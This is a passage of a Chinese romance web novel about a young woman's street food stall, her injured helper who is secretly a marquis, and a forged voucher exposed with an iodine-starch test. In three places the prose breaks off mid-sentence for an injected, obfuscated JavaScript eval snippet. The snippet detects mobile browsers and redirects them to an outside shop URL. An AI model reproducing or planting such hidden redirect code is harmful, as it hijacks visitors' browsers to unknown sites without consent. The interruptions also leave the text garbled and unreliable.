盛时云眼神发亮,一抹弧度已然勾在唇角。她生怕菜凉,动作很快,将盘子收进食盒,回屋换了身衣服,匆匆忙忙往医馆跑去。 天色阴沉,福团觉多,正在屋里呼呼大睡。盛时云没带它,推开医馆门的时候,屋里正有几个病患。江郎中埋头看诊,一见是她,说了声:“往里走,人在里屋呢。” 盛时云点了点头,想起上次自己莽撞进屋的尴尬,放轻步子,敲了敲门。听到屋里传出两字“请进”,声音温润沉毅,似曾相识,落在盛时云心里似乎泛开一层涟漪。 她推门的动作停了一瞬,怀疑地动了动耳朵,往屏风处瞧,却见穆遂安正已经闪身出来,眉眼舒展,悠然行了个礼:“云姑娘又来了,来坐。” 盛时云没把自己的名字告诉过穆遂安,只听江郎中称过几次云姑娘,便也如此效仿。 “这几日感觉如何?”盛时云把食盒放在桌案上,关心地询问。 “还好。伤口结痂了,腿还要疼几天,最近雨下得多,怕是要成顽疾。”他手臂下方还撑着一根拐杖,勉强能倚靠着站在床边。穆遂安用手指捻了捻下巴上的疤痕,忽然闻到一股香气,眼睛也不由自主地挪到了食盒上。 “这是……” 盛时云将菜肴从食盒里拿出来,双手捧着,犹自骄傲地承认道:“这道菜叫赛螃蟹,是用鱼肉和鸡蛋制作而成,但口感却如螃蟹般鲜美,你尝尝?” 她得意中摇头晃脑的模样甚是可爱,穆遂安不由自主间笑意映入眼,拿起勺子品尝了一口,赛螃蟹味道太香,食材却稀奇,他动作颇有些迫不及待。 鸡蛋入口即化,被香油炒得喷香;黄鱼肉细嫩有嚼劲,确实像沾上醋的蟹肉一般,鲜甜劲道。因为放了姜末,抵消了菜里的寒凉,两口下肚,整个人都暖了过来。 穆遂安将床榻上的食案挪到盛时云面前,坐下来,握着勺子的手紧接着又舀了一勺,不住赞叹道:“我从来没有吃过这样的美食。” “这是自然。”盛时云眸中聚起欢悦,微扬着头浅思片刻,切入正题,“我家境况与公子家里差不多,原本就以厨艺傍身,现在为谋生计在三仙街摆食摊。” “食摊的生意不错,前些日子能干下去多亏友人帮忙,现下友人有事归家,我一个人忙不过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007279|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以想问问你,愿不愿意来我家食摊打个零工。”盛时云向前探了探,简单挽起的头发垂在肩膀上,“你若干满一个月,这些钱就算两清了,我吃喝全包,就让你坐那算算账。怎么样,不亏吧?” 正常帮工一日的价钱就得五十文,那一两银子只够人家干上半月,就算管饭吃也压不到这么低价。盛时云心知自己狮子大开口,说完心虚地摸了摸鼻尖。 穆遂安又不是傻子,见了盛时云那副模样,却不禁觉得有些好笑。他先前确实过得另有一番苦日子,但还未在小吃摊中感受过烟火气。穆遂安将勺子放下,认真地注视着盛时云的眼睛:“我没地方住。” 这话确实找不出错,无关耍赖皮,也无关穆遂安自己愿意不愿意。身在异乡,衣兜又比脸干净,连活命都是难事,更别提找住处了。 盛时云愣住,想了半天也想不到有什么地方可住人,医馆不行,桥洞更不行。 顶着穆遂安若有若无的星星眼攻势,她使劲咬了咬牙:“你要不……你可以住我家。”左右想一想,乘胜追击,“但要是这样的话,你得干满两个月!” 穆遂安指节敲了敲桌子:“说是一个月就是一个月。” “不行,一个半月。”盛时云将赛螃蟹往回一拽,穆遂安无奈,点头成交,她暗自舒了口气,“我明天把契书拿来。你先吃着,我跟你讲讲情况。” 她取了一张纸来,出去朝江郎中接了根笔,边说边在纸上写写画画。从三仙街的位置,到摊位周边的几个熟人,从狼牙土豆的制作要点,到自己之后开拓业务的打算,都一一说清,一张纸写得满满当当。 盛时云不太会用毛笔,纸上三番五次印出点点墨渍,字写得密些,确有些惨不忍睹。她瞧着整张纸,有些过意不去,抿起唇,翻到背面,接着说:“我家只有一户邻居,名叫冯桃,比你我年岁大,她夫君出海行商,现在不在家。” “她若是问起你,你就说你是伏念的表兄,被伏念特意从衡阳叫来帮我。”盛时云在纸上写下两字伏念,笔杆划重点般敲了敲,“你若是表现好,可以考虑涨工钱。” 赛螃蟹一盘菜早就空了,穆遂安跟着她的思路,把桩桩件件记得十分严谨,就算纸上是一片蜘蛛爬的破字,似也不影响他的观感。盛时云口干舌燥,取来茶壶给自己倒了杯茶水,一口气闷了。 “还有什么问题没有?” 穆遂安正专心研究被墨渍遮盖的半个字是什么,闻言抬头,着意问道:“在下名叫穆遂安,云姑娘的名字是……” 他在笔架上拿过那根毛笔,墨迹落在纸上如同有了生命,写下“穆遂安”三字,苍劲有力,银钩铁画。 盛时云暗自钦佩,再看旁边自己写的那一堆,饶是她脸皮厚,也不禁汗颜。她不想再写字,推掉穆遂安递来的毛笔,直说道: “我叫盛时云。”她将手里的纸折起来,“盛放的盛,时日的时,云朵的云。” 说话时,她想起自己名字真正的来由“有时云与高峰匹,不放松峦历历*”,心中涌起一阵意气,好巧不巧,错过了穆遂安眼中飞逝的复杂目光。 等盛时云把折好的纸片递给他,穆遂安已经平复如故,温声道:“盛字,是国姓啊。” 14. 营业额翻了两倍 老郎中看完最后一个病患,闲暇下来。既已经决定好,盛时云自那天拜访过后,又隔了几日,找他了解到穆遂安的身体状况,以备日后调理。 穆遂安静坐在床榻边,手指在掌心一笔一划,将“盛时云”三个字写了好几遍。他眼底凝着了然,拇指摩挲在纸上。 眼前这个于他有救命之恩的狡黠女子,与那日宫道长街边跪着受罚的二公主的身影合而为一。穆遂安忽觉有趣,天下之大,竟然巧合至此。 之所以道出此言,正因为穆遂安也并非平常身份,而是几日间令京城物议沸腾的那位色映剑槊的北郡侯。 * 京城外,雨云消散,碧空如洗,也是个难得的晴天。 冀西山阴沉着脸,独自一人骑马飞驰在田垄小路上。他裹身衣服上粘的泥汤草叶已经被风吹干,狼狈不堪地往京城赶路。 行至一半,一只麻色的隼鸟从天而降,翅膀扑闪几下,准确地落在了冀西山的肩膀上。他紧急勒马,从隼鸟脚上取下一张信纸,纸张只有半个手掌大,上面穆遂安的字迹任凭冀西山瞎了也不敢忘。 穆遂安寄来的密信只有寥寥几字,将自己所遇之事言明,又另外说起暂且隐居青州的打算。 北郡侯在塞北坠马伤腿一事,在京城传得沸沸扬扬。那日穆遂安乘轿进宫,正是为了恳求靖崇帝许自己外出休养。谢家与北郡向来不对付,朝廷闲话也众说纷纭,牵扯不少。 皇帝之心万万变,这种臣子之间的政见之争,古往今来都可谓十分凶险。 靖崇帝要将二公主嫁给谢家少子谢晖。穆遂安听说这件事时,一战刚胜,正等着下属们收拾战场。心口倘若被重石击中,猛然警醒起来。 他的直觉向来灵敏得很,眼瞅着皇帝忙于安抚清流,北郡将士却在阵前厮杀,待遇高下立现。 一连几日在冰寒中行军,再加上旧伤未愈,他恍惚了一瞬,攻无不克的北郡侯,竟真着了胡人的道,任凭一支飞箭惊了马,他人从马上径直摔落,折了左腿。 没人怀疑他会故意断了自己的腿,也没人深究他竟真的皮中抽肉,清瘦成那副模样。 冀西山吓得半死,连夜着人往京城送了消息,北郡侯架着一条腿倒是不以为意。顺其自然,先是回京告罪,进而恳请休养。他为了保全自身,用了一招欲进先退。 北郡三代侯爵,都为大周出生入死,父辈皆死在沙场上,最终落得个人丁稀落。往事历历在目,他是忠臣,但绝不是纯臣。穆遂安清醒得要死,唯有保全自身,才能谈护佑天下的能力。 果不出所料,就算他卸去一身事务,打算随便找个地方暂歇几日。路上就有人急不可耐,想要将他杀而后快。 穆遂安纸上没说的,冀西山却明白,遇袭一事绝不会就这么潦草放下,任凭谁是幕后指使,他也得查清查明,之后应当还得去青州回禀。 相比起冀西山的紧绷,穆遂安自觉暂且平安顺利,日子过得逍遥自在。 两人从医馆出来,盛时云手里又多了几副药。穆遂安的腿伤还在疼,撑着拐杖走路稍缓,最近喝了药,虽然把大部分的精气神都吊了起来,但是内里的亏空还是不少。 他比在塞北时消瘦太多,就算断腿是故意为之,对身体的伤害以及紧随其后的外伤也做不得假。 穆遂安这一病,竟将多年隐疾都引了出来,衣服挂在身上显得太空荡,身姿更有风骨峭峻之意。月华洒在路上,盛时云也不急,陪着他慢悠悠地走。 “竹竿巷第二家。欸,小心脚下。”盛时云快走几步,将院门敞开来。屋里的福团身量不大,竟已学会了看家,听到陌生的动静,一路尖吠着跑出来,定睛瞅见穆遂安,四只脚停住了,尾巴也晃了起来。 “真怪,它瞧见你怎么这么亲热。福团,不要绊脚。” 穆遂安跟着盛时云走了一道,终于吃力地扶着墙壁坐在板凳上,额头沁出汗珠,倦色显露,闻言依旧打起精神,温和地笑了笑:“听说是它带你们找到我的。” “是啊,我以为什么呢,结果过去一看,竟是个人躺在那,还血淋淋的。”盛时云从小锅里取出拌好的狗食,放到福团面前,直起腰在伸出她的手指头,上面挂着一道细细的疤痕,“喏,这就是当时那些芦草刮出来的。” 她瞧着穆遂安形容憔悴,先快速点了一盏灯搁在他和福团旁边,转身进屋:“你等一会儿,我给你收拾屋子。” 正屋旁边空着一间窄房,刚好够一人睡进去。原本是应当拿来当仓库的,盛时云瞧空间的墙壁厚实,自己的东西又还没多到放不下的地步,就暂时将它空置起来,没想到还真有了大用处。 窄房里面没有床,盛时云将多余的木板挪进去,摞高位置又不会返潮,上面多搭几条褥子,摸上去像睡在棉花里。 这样可算不上苛待病人了吧。她满意地拍拍手,继续把被子铺在上面。 穆遂安饶有兴致地望着福团埋在食盆里吃得吭哧作响,半晌,盛时云还未出来,福团已经横着小肚子吃饱喝足。他颇为自觉地去水缸舀了勺水,伸手将被狗崽舔得干干净净的食盆拿起来,细致洗了。 盛时云整理完屋子,伸伸腰,出来叫人睡觉。一瞥眼,她愣了愣:“你怎么把锅碗都洗了?” 穆遂安指尖发红,听到她的问话有些反应不过来:“盛姑娘收留我,我没什么可报答的,必然要多做些事。” “你身子不好,我怕你着凉。”盛时云多少有点不适应自己老板的身份,劝着人休息,“你去洗漱睡觉,明日还有别的事要靠你。” 算账、打下手、统计集签票。盛时云本是要将伏念做过的事情一并交给他,但穆遂安腿伤未愈,不能久站,干脆搬个小板凳在旁边坐着,一边卖冬瓜糖,一边管收钱。 盛时云做惯了生意,没想到穆遂安干起活来也是得心应手,该收的钱一分不差,包油纸的手法更是学得快,两人默契神会,做事比盛时云一个人时快了两倍不止。 然而,他们的效率虽然提高了,但不出两个时辰,盛时云再次腰酸背痛起来。她往远处打眼一瞧,三仙街绕着自己摊位的范围内,乌乌泱泱挤满了人,而且净是一些穿红戴绿的年轻娘子。 这些人排队买着吃食,眼睛却不住地往穆遂安身上瞟。 她疑惑地回头在穆遂安身上扫视了一番,看他坐在凳子上泰然自若,慢悠悠地向自己递了个眼神。盛时云收回目光,正好瞧见了面前点口味的小娘子头上戴的粉色绢花,显然是打扮一番而来的。 再看其他人,头、颈、衣服无不十分精心,个个悄看向穆遂安,目光柔情蜜意,欲说还休。 原来真的有人靠脸吃饭…… 她佩服地腹诽着,脑袋里忽然“叮”地亮了个灯泡。 既然如此,不如将计就计。 盛时云嗅到一丝商机,朝穆遂安招了招手,叫他坐近一些,好让这些顾客们看得更清楚,心情更舒畅。 “这是我家新来的伙计,合眼缘的话,大家可以尽情欣赏。欸欸姑娘,不能上手摸,他身子不好,一推就倒。”盛时云将人摆在摊位前面,就好比放了个招财猫,客流量直线上升。 穆遂安也十分听话,撂下手头的事情,就那么坐在那里,仪态俊美,有人甚至想要凑过来想要摸摸他的手,被盛时云急忙制止。 不让摸也罢,又吃到了美味,又看到了美人,何乐而不为。 凑得近了,就说几句话也是好的。 “公子公子,你是哪里人士啊?长相这样好,不是本地吧?” 穆遂安笑得温柔和煦,配着一身病骨,真的有几分惹人怜爱的姿容。他递过去一包冬瓜糖:“家在北方,特来这边帮忙。姑娘来一包吗?” 小娘子的心都要化了,豪爽地将荷包砸在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019693|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌上,中气十足:“一包怎么行,给我来十包!!!” 搞得和见面会一样,盛时云想起现代电视明星见粉丝的盛况,觉得好笑,多看了几眼。 穆遂安的长相确实够养眼。侧看面容棱角硬朗,似乎一副冷心冷情的样子。但瞧到正脸,便如同春风拂面,眼若繁星,笑起来的唇边还有一个小小的梨涡。 盛时云频频咋舌,这就是天生的反差啊。 这样一来,她安排给穆遂安的活计更不算多了。 穆遂安一会儿拿出铜板找给人家,一会儿包上几包冬瓜糖。他动作温文尔雅,更不会轻易急恼冷脸,女人们几乎一窝蜂似地过去找他付钱。 一天干完,盛时云整个人都要散架了,手臂胳膊不住地酸痛。叫过穆遂安一起清点盈利。点了半晌,她硬生生睁大了眼睛,迟疑几秒才说:“你没算错吗?” 穆遂安显然对这个数字也十分满意,手指拨了拨铜板:“一分不差,八百四十文。” 比最高的营业额差不多高了两倍! 盛时云的笑容忍不住,全部绽放在小脸上,额前的头发稍稍汗湿,整个人俏丽可爱。她规规矩矩地站起,两手抱拳,狗腿地作揖道:“穆公子影响力非凡,佩服佩服。” 穆遂安知她是开玩笑,被她逗得嘴角上扬,抚唇轻声笑起,眉梢粲然。 两人沉浸在喜悦里,没看到莫秀娘拿着半盆拌好的凉粉走过来。 莫秀娘早就瞧着这边多了一人,心道盛时云找帮工的速度倒是十分得快。今天三仙街的食客意外得多,她的凉粉也早早卖完,大部分被人包走了,正好还剩下一锅底,莫秀娘干脆收摊,拿着凉粉送到盛时云的摊上,给他们晚上加菜。 “这么快就找到帮工了,多少钱一个月?”莫秀娘把盆子搁到到盛时云手里里,她们早就是熟人了,就自顾自到推车后面搬了个板凳坐下来,又从兜里拿出一把瓜子。 两人对视一眼,穆遂安从善如流:“一两半。”这是盛时云和他提前商量好的,见人就说一两半,不多不少刚刚好。 “呀。”莫秀娘的眼睛上下扫视一番,瓜子也不嗑了,凑到盛时云耳边,“从哪找的这么俊俏的郎君?瞧着面生,工钱也不贵。” 盛时云嗔怪一笑,推着她的肩膀说道:“哪就叫你看直眼了。伏念的表兄,被叫过来帮忙的。” “真好。我算是明白了,还以为今天三仙街怎么回事呢,合着那么多人都是来看他的。”莫秀娘啧啧两声,看穆遂安全然不理会两人的蛐蛐,泰然自若,坐着折油纸,“性格也好,看着就是个和善的。” “什么好话都让你夸了。”盛时云起身告辞,“我们回去了,还有活没忙完呢。” “行,我也得回去了,我家公婆还没吃上饭呢,这伺候人的日子什么时候是个头。”莫秀娘捶捶腰,愁眉苦脸。 “那还不好说,你上我家当帮工来,我保你……嘶!”盛时云正收着推车的案面,眼前一晃,两张集签票扔在面前,差点刮到眼睛。她被吓了一跳,皱眉看去,一个五大三粗的男人不耐烦地睨着她。 “两碗狼牙土豆,一个香辣椒一个糖醋。” 态度急躁,一副打算无差别攻击的样子。 穆遂安敏锐地注意到了男人的威胁。在这个空档里,他即便腿伤没好,也尽力用最快的速度走到盛时云身边,有意将她往身后挡了挡,面色不虞:“今日打烊了,这位兄弟你先把集签票收好,明日再来。” 男人的要求被拒,忽然抱着胳膊往前一拱,瞪起眼睛道:“旁人能拿免费的凭什么我不能,快做吧我就在这等着。” “罢了,桶里还剩一点,够做一碗。”盛时云心里不高兴,但并不想得罪客人,拿起集签票扫了一眼上面歪扭的签名和手印,“今天多有得罪,另一碗明日我定给您留……嗯?” “大哥您这票,不对吧?” 15. 卷凉皮 “咋可能!你不兑现就说不兑现的,别跟我扯这个,做生意还骗人,真是无奸不商!”一听这话,男人突然气急败坏,伸手要将纸条抢回来,先一步被穆遂安挡住。 盛时云举高了纸条,仔细观察了一番。集签票的上面“狼牙土豆”四个字根本就不像自己写的。这上面的字迹虽然没比她的好多少,但笔画结构却是轻易可以分辨出来。 还未回家的莫秀娘拿过另一张纸条,她虽然不认得几个字,但凭模样就能看出来两不相同,点头:“确实不一样。” 穆遂安身体还没恢复,这番猛力有些勉强,清瘦手骨上的血管凸了起来。 饶是如此,男人的手腕依旧被他攥得生疼,气焰消下去一半,转了几下眼睛又转向了莫秀娘,伸手一指:“你拿出证据来!我这上要字有字,要章有章,你凭什么说是假的!” 眼看着他又要凑近盛时云,穆遂安眸底刹然沉着一抹寒色,低喝道:“退后。”双目眈眈,整个人护在盛时云身前,像极了一匹要扑上去撕咬的恶狼。 毕竟是千军帐中血洗出来的将军,他周身的威压难以忽略,沁得人身上凉酥酥的,让人不自觉地心服气软、听命于他。 被这么一斥,男人腿有点打颤,不自觉地退了一步。紧接着又觉得自己这样未免太怂,壮着胆子挺了挺胸脯,青蛙一样不服地瞪着盛时云,喊道:“别欺负老实人!证据呢,你有吗?” 盛时云将纸票平放在手心里,听到诽谤不急也不恼,沉下心来静静思索了片刻:“既然说是假的,我自然有证据,你且稍候。”她扯着穆遂安的袖子,安抚地把人往后拽了一把,又将纸票交到穆遂安手中,让他稍安勿躁。 便见她转身往不远处的干货店。干货店的店主白吃过几次她的狼牙土豆,对盛时云很有好感,根本不欲要钱,大方地给她掰了一块海菜干。 盛时云道谢返回,当着众人的面点火,将海菜干烧成灰烬。她将灰烬捻到锅中,加水煮沸。趁着这时候,盛时云又拿着一串铜钱拜托莫秀娘去染坊卖一点绿矾油来。 绿矾油其实就是硫酸,在染坊十分常见,几乎有钱就能买得到。等水煮开之后,莫秀娘也回来了,盛时云将水到瓷碗里,示意莫秀娘将绿矾油滴入。 滴入的瞬间,溶液迅速变色,竟似仙法巫术,围观的众人面面相觑,望着那碗水心中惊疑不定。 “现在就是一辨真伪的时候了。你既然说印章是一样的,那我来验证一番。要是没有区别,我赔你十碗。”盛时云从推车下面拿出一张自己做好的集签票,又从穆遂安手里接过另一张,并排放好。 “但要是有区别,我就只能让官府来主持公道了。”说着,她将碗中的水分别滴在两张纸上,看着眼前顷刻的变化,她处变不惊地勾起唇角,胸有成竹:“瞧。” 围观的人纷纷凑上前,睁大眼睛惊叹出声。真的章印已经变成了蓝紫色,而假的章印丝毫没变。 就连穆遂安也神色微变,紧绷的表情放松下来,毫不吝啬地赞叹盛时云:“竟然这样玄妙。” 原理其实很简单,盛时云庆幸自己记性好,还能记得高中时候学过的提取碘的实验,最后验证的时候,碘遇到土豆中的淀粉会变蓝,才有了眼前的现象。 “……狗屁的证据,这分明就是妖术!”男人也被震慑住了,嘴里嘟嘟囔囔地骂了几句,引得周围的百姓脸上也迅速出现了怀疑的表情,害怕地窃窃私语起来。 他们从未见过这种奇事,真的害怕是巫女妖怪作祟。从刚才的震惊与喜悦里脱离出来,竟全都退后了几步,与盛时云拉开距离。 “妖术?染坊中尽是这些机妙,何况当朝天子开设了染织司,竟都成了你口中的妖术。”穆遂安冷笑出声,“我却觉得盛娘子与依从陛下之意,心有丘壑,实在是个奇女子。” “咦?陛下当真开了染织司?” “这是自然,穆公子是北边来的,肯定知道京城的事啊。” “那以后岂不是有更多衣服样子啦……!” 百姓们你一言我一语,注意力转移得十分彻底,叽叽喳喳好不开心。 趁此机会,挑事的那个人想要低着头灰溜溜逃跑,还没钻出两步,就被穆遂安一把薅住了领子:“你说,她是怎样的人?” 他顿时萎靡下来,大叫道:“是仙女!仙女下凡!爷您行行好,放了小人吧!” “我、我承认造假行了吧!妹子啊,你们都因为钱壮闹去官府一次了,也不怕官老爷们嫌你们烦。” “官府就是给百姓办事的,不然干嘛,留着享福吗?”盛时云并没有因为道歉而心软。她将所有东西重新擦洗好,放在一旁,头也没抬,“走吧,一会儿老爷们都下值了。” “你先回家,我去吧。”本来能早点回去,这一耽搁,又耽搁到了傍晚落日。穆遂安想着女子晚上外出总归不安全,倒不如兵分两路,效率还高些。 盛时云看出穆遂安脸色有些苍白,想到今天分给他的活计虽然简单,却也架不住从早到晚连轴转了一整日,临了还遇到这样的事。担心地嘱咐了两句,可穆遂安坚持要去,她便留下来先把车上的物件绑好。 他的身子恢复得很快,腿伤只需将养。不知道出于什么心理,任凭盛时云如何劝说,穆遂安也坚持不带拐杖,反复保证自己能走。 不带就不带吧,盛时云也任由他去,毕竟他一个成年人肯定是能对自己负责的。 两人一走,围观的人们纷纷而散,甚至有人回头和同行人夸赞盛时云守正不挠,生意也定然本分干净。这样一件无足挂齿的闹剧竟然又博了食客们的好感 “你干嘛非得证明?光是买绿矾油的钱就抵过你两份土豆钱了。”莫秀娘帮她把绑绳系紧了些,露出半个脑袋来问道。 “我这次不证明,想占便宜的人就会更猖獗,彼时我还怎么做生意?今天就是他倒霉,被我杀鸡儆猴了。”她轻松地拍了拍扣在最顶上的小锅,“穆遂安一来,我果然能少操心些事了,舒坦。” “你那个帮工不一般。”莫秀娘摇摇头,望了望穆遂安离开的巷子,临别时最后说了一句,“平时看着乖得很,没想到一狠起来真挺吓人。” 那边穆遂安带着人往官府去。闹事的男人是个欺软怕硬的,他早就盯上了盛时云的摊子,原本觉得一个小女人能掀出什么风浪来,没想到碰上了硬茬。他追悔莫及,百般乞求穆遂安放自己一马。 穆遂安对这种人十分厌恶,自不能应。他第一次对自己的腿伤烦躁起来,要是能走快一点,也不至于多听到那么多废话。 即使步伐看上去四平八稳,但骨头折处还有暗痛。之所以坚持不拿拐杖,无非是心里那一点傲气作祟。他不习惯将自己的脆弱展露在众人面前。 男人察觉不到他的想法,绞尽脑汁,找话题套近乎,说道:“爷。您说你们云家食摊总闹到官府去,说出去了也不好听不是?” 一听他说到有关盛时云的事,穆遂安终于有了变化,淡淡地看了他一眼,示意他继续说。 “上次,您猜怎么着,她和另一个姑娘把青州城那个恶霸硬生生打晕了。官老爷一来,人家小老板直接说了一句话,一共六个字。”男人以为自己的机会来了,提起劲来,讲得绘声绘色: ——“我认识北郡侯。” 男人手一拍,戏谑地摊开:“这不说笑话呢吗,人北郡侯老人家天高皇帝远的,凭啥认识她一个小小县城的女人。” “爷。兄弟我奉劝你两句,少和她来往,那女的就是个骗人精!” 他说的几句话全都完美避开了正确答案。 要是知道面前这位正自己口中的那位远在天边的北郡侯,而他招惹的那位更是皇家公主二殿下,估摸着要直接吓昏过去。 “巧了不是,她还真认识北郡侯。”穆遂安暗暗好笑,恰逢喉咙发痒,蹙眉咳了几声,将笑容遮掩了过去。 那样一侧头,穆遂安不小心将男人吐出的污糟话听进耳朵,瞬间,他脸上似结了一层冰壳子,笑意无影无踪,厌恶道,“再多说一句话,你脑袋该被拧下来作球踢。” 男人没想到盛时云居然真的有这样一层关系,顿时唬得下巴都要掉下来。他是真的倒霉,聪明反被聪明误,想求饶也晚了,认栽地苦哈哈地被送进官府打点了一番。 先前听说钱壮也不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033441|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在大牢里住了几日,一点银钱都没罚,管吃管住倒也算是美事一桩。 只是这次,他瞧着穆遂安面色冷硬,从腰间摸了个牌子,目光所及,往日那些高高在上的官员大老爷,都蓦然眼神飘忽、讷讷无声起来。 他顿时暗道不妙,冷汗浸湿了后背,“扑通”跪下想要求饶,却于事无补。 此后再听说这人,已经他是举家搬离青州城之时。 另外,那个青州恶霸钱壮,也并未讨到好果子,此事之后没到半个月,竟然一夜之间瘸了腿,再不能欺压百姓。 不过,这些也都是后话。 穆遂安绕回竹竿巷时,闻到了一股饭香,他想起这几天吃到的美味佳肴,禁不住加快了步子。他自诩不是重口欲的人,但盛时云手里做出来的美食,就如同一枚软钩,不吃便罢了,可一旦吃了,只消一口,便要时刻惦念。 推开院门,福团最先扑出来欢迎他。穆遂安拎着它的脖子,先看向正忙碌在灶台间的盛时云。 “回来得这么快?我方才做了几个卷凉皮,才给冯阿姐家送去,你也尝尝?”冯桃前两日带着乔乔回娘家住了几天,今日刚回,盛时云顺路拜访了一番。她回头打招呼,一门心思地捣鼓着灶火,并未把注意力多留给穆遂安。 他这才看到到桌子上摆着的两个圆筒形状的凉皮,外皮莹润,能看到里面卷着的菜和辣酱,想必刚才的香味正是来自其中的辣酱。穆遂安任凭福团在脚下打滚,上前几步,着手拿起凉皮咬了一口。 里面的菜丰富多样,口感也格外得好。豆芽鲜脆,黄瓜清口,花生米油香,还有些劲道的米色方块,形状像豆腐,吃起来却有面味。辣酱更是添色加料,几口下去,那么大一个卷凉皮都进了肚子。 “这个东西好,原料便宜,吃法也新鲜。”穆遂安心满意足地吃了个半饱,过来帮她打下手,“若是能加到摊上,定能赚钱。” “我也是这么想的。今天晚走了会儿,跟秀娘蒸了两张凉皮玩,我一想,不如跟她合作,每日从她那买凉皮过来,咱们卷着卖。这样谁都能赚到钱。”盛时云正用刀把丝瓜皮削去,见穆遂安来,直接把新买的瘦肉交给他切片。 穆遂安的刀工还不错,但比照盛时云差了一些。他是用惯刀剑,融会贯通,切菜切肉也算不在话下。 把菜肉都处理好,盛时云阻开他要来添柴加火的手,叫穆遂安坐着拌狗食去。 锅中倒油少许,把丝瓜块放进去翻炒,然后从水缸舀水加进去,持续大火。盛时云用筷子捅了捅汤里的瓜块,觉得软了,又将腌过的肉片倒到汤里。 这道菜十分简单,再等片刻就能出锅。 香味已经飘溢出来,盛时云专门给穆遂安加的肉,一则是今日生意火爆的奖励,再一则是那日他的伤口太过触目惊心,几日来虽然难得好转,但他整个人是肉眼可见的虚弱。 她生怕没把人养好,不小心砸手里。 吃过卷凉皮,就占了胃里的位置,盛时云又做了道炝拌藕丝作为凉菜。穆遂安自觉盛饭上桌,十分期待地看着面前的两道菜,只等开动。 盛时云坐下的时候,面前已经盛好了一碗汤。她将头发挽了挽,精神百倍:“开动吧!” 穆遂安反应迅速,汤送进嘴里,嫩滑清甜,再夹一口藕丝,酸爽开胃。他规矩地吃了两口,又将米饭泡在汤里,一勺一勺吃得格外香。 “你今天感觉怎么样,有吃不消吗?”盛时云也学着穆遂安的样子,把汤倒进半碗米饭里拌着吃。 “未曾。”穆遂安摇头,不经意地挪了眼眸,从自己的丝瓜汤里,望到盛时云的筷子尖上,正色道,“你给我的活计不重,拿了钱就要做好事,不用特别照顾我。” 盛时云瞧着他的样子瞧了半晌,想起莫秀娘的那番话,正巧福团吃完了食,过来贴着人腿撒娇蹭脸。她忽然间把穆遂安和福团联系到了一起,继而埋头咬唇偷笑。 穆遂安自是不知盛时云在笑什么,他顿了顿,忽然挑眉:“闹事的那个人说你认识北郡侯?” 盛时云嚼着丝瓜,镇定自若,连看都没看他一眼,又伸筷子夹了一口藕丝:“对呀,我认识。” 16. 卷凉皮 穆遂安眼眉中蓄起笑意,用连他自己都没注意到的上扬语调,故意问道:“既然如此,那你家落魄时他为何没来帮你?” “我们俩只不过是一两句话的交情,拿这种小事麻烦人家这种大英雄,合适嘛?”盛时云口中的藕丝脆脆的,她吃饭十分斯文,几乎不出声音,现下更像一只白兔安静地啃着胡萝卜。 说到交情,穆遂安想起她在长街罚跪的那日。真是只有一两句话的缘分,甚至还没有奚落她的谢明智说的多。 他心境忽起波澜,莫名遗憾起自己那时为何没有早些过去,既能拦了谢明智,又也许能和她多说上两句。这种异样只存在了片刻,穆遂安薄唇抿成一线,不知道从哪冒出来的情绪,语气有点拧:“不过是个普通人,怎么就成英雄了。” “他不是一直跟胡人打仗吗,守卫一方安宁,自然是大义啊。”盛时云随口一说,她没察觉到穆遂安的神色,肚子饱了,就双肘撑在桌上,手托着脸,伶俐地弯起唇角,“既然身体还撑得住,你去把碗洗了,我现在去给土豆削皮,一会儿教你切土豆条。” 现在的生意越做越有兴味,盛时云没事就想着如何把食摊开起来。从食摊到食肆,再到酒楼,最后宾客盈天下。她面上笑意更甚,干劲十足地搬起一盆土豆,边哼着小曲边削皮。 那边穆遂安舀起水来,将锅碗道具冲洗好,再用干布擦干。哗啦的水声伴着姑娘低声哼唱的调调,应和一起,浪静风恬。 一干起活来就又忘了时间。穆遂安刚削土豆条的时候,下手还有些不稳,但他可谓天赋异禀,半盆之后,所有的薯条都大小规整,丝毫不逊色于盛时云。 盛时云将择洗好的豆牙晾在一旁,又开始给黄瓜擦丝,泡在水里保持新鲜。所有的菜都切好后,她又揉了一块面,往盆里舀了水,像洗衣服一般,把面团在水中轻轻揉搓,直到剩下一块筋膜一样的东西,这才大功告成。 “这个是面筋。”她见穆遂安奇异地往这边看,解释道。手起刀落,将面筋切成丁,中间丝窝很大,正是穆遂安之前吃到的奇怪小方块。正因为面筋内部的空间很大,吸足了汤汁,更让辣酱的香味发挥彻底。 